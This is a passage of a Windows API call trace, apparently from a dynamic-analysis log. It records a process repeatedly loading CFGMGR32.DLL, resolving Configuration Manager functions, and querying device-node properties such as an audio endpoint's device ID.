GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.375] malloc (_Size=0x18) returned 0x196ef0d1a40 [0231.375] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x35, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0231.376] malloc (_Size=0x48) returned 0x196ef0fbea0 [0231.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6ac2e115, dwHighDateTime=0x1d9eb0c)) [0231.376] SetEvent (hEvent=0x248) returned 1 [0231.382] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.382] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.385] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0231.385] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x35, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0231.385] malloc (_Size=0x48) returned 0x196ef0fbea0 [0231.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6ac548c8, dwHighDateTime=0x1d9eb0c)) [0231.385] SetEvent (hEvent=0x248) returned 1 [0231.388] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.388] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.390] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0231.391] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.391] malloc (_Size=0x48) returned 0x196ef0fb950 [0231.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ac548c8, dwHighDateTime=0x1d9eb0c)) [0231.391] SetEvent (hEvent=0x248) returned 1 [0231.440] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.440] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.443] malloc (_Size=0x18) returned 0x196ef0d1e60 [0231.443] CM_Get_Device_IDA (in: dnDevInst=0x36, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.0.00000000}.{8E130672-61AD-4A4A-946A-D1F6397B4DB3}") returned 0x0 [0231.443] malloc (_Size=0x48) returned 0x196ef0fb310 [0231.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6acecdb9, dwHighDateTime=0x1d9eb0c)) [0231.443] SetEvent (hEvent=0x248) returned 1 [0231.446] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.446] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.448] malloc (_Size=0x18) returned 0x196ef0d1c60 [0231.449] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0231.449] malloc (_Size=0x32) returned 0x196ef0d12d0 [0231.449] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0231.449] free (_Block=0x196ef0d12d0) [0231.449] malloc (_Size=0x48) returned 0x196ef0fb680 [0231.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6acecdb9, dwHighDateTime=0x1d9eb0c)) [0231.450] SetEvent (hEvent=0x248) returned 1 [0231.451] malloc (_Size=0x18) returned 0x196ef0d1960 [0231.452] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0231.452] free (_Block=0x196ef0d1960) [0231.452] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855560 [0231.452] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.452] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0231.452] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0231.452] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0231.452] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.452] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0231.452] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0231.452] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0231.452] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225dd0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.453] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0231.453] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855560) returned 1 [0231.453] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.454] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.459] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0231.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0231.459] malloc (_Size=0x62) returned 0x196ef0d0610 [0231.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608) returned 0x0 [0231.459] free (_Block=0x196ef0d0610) [0231.460] malloc (_Size=0x48) returned 0x196ef0fb270 [0231.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6ad12ee0, dwHighDateTime=0x1d9eb0c)) [0231.460] SetEvent (hEvent=0x248) returned 1 [0231.462] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0231.462] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0231.462] free (_Block=0x196ef0d1aa0) [0231.462] malloc (_Size=0x18) returned 0x196ef0d1de0 [0231.462] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0231.462] free (_Block=0x196ef0d1de0) [0231.462] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0231.462] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0231.462] free (_Block=0x196ef0d1ca0) [0231.462] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855960 [0231.462] SafeArrayGetDim (psa=0x196ef1f2570) returned 0x1 [0231.462] SafeArrayGetLBound (in: psa=0x196ef1f2570, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0231.462] SafeArrayGetUBound (in: psa=0x196ef1f2570, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0231.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0231.463] SafeArrayGetDim (psa=0x196ef1f2570) returned 0x1 [0231.463] SafeArrayGetUBound (in: psa=0x196ef1f2570, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0231.463] SafeArrayGetElemsize (psa=0x196ef1f2570) returned 0x8 [0231.463] SafeArrayGetElement (in: psa=0x196ef1f2570, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0231.463] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.463] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.464] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.464] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0231.465] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855960) returned 1 [0231.465] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.465] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.468] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0231.468] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.470] malloc (_Size=0x48) returned 0x196ef0fbd60 [0231.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ad12ee0, dwHighDateTime=0x1d9eb0c)) [0231.470] SetEvent (hEvent=0x248) returned 1 [0231.475] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.475] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, 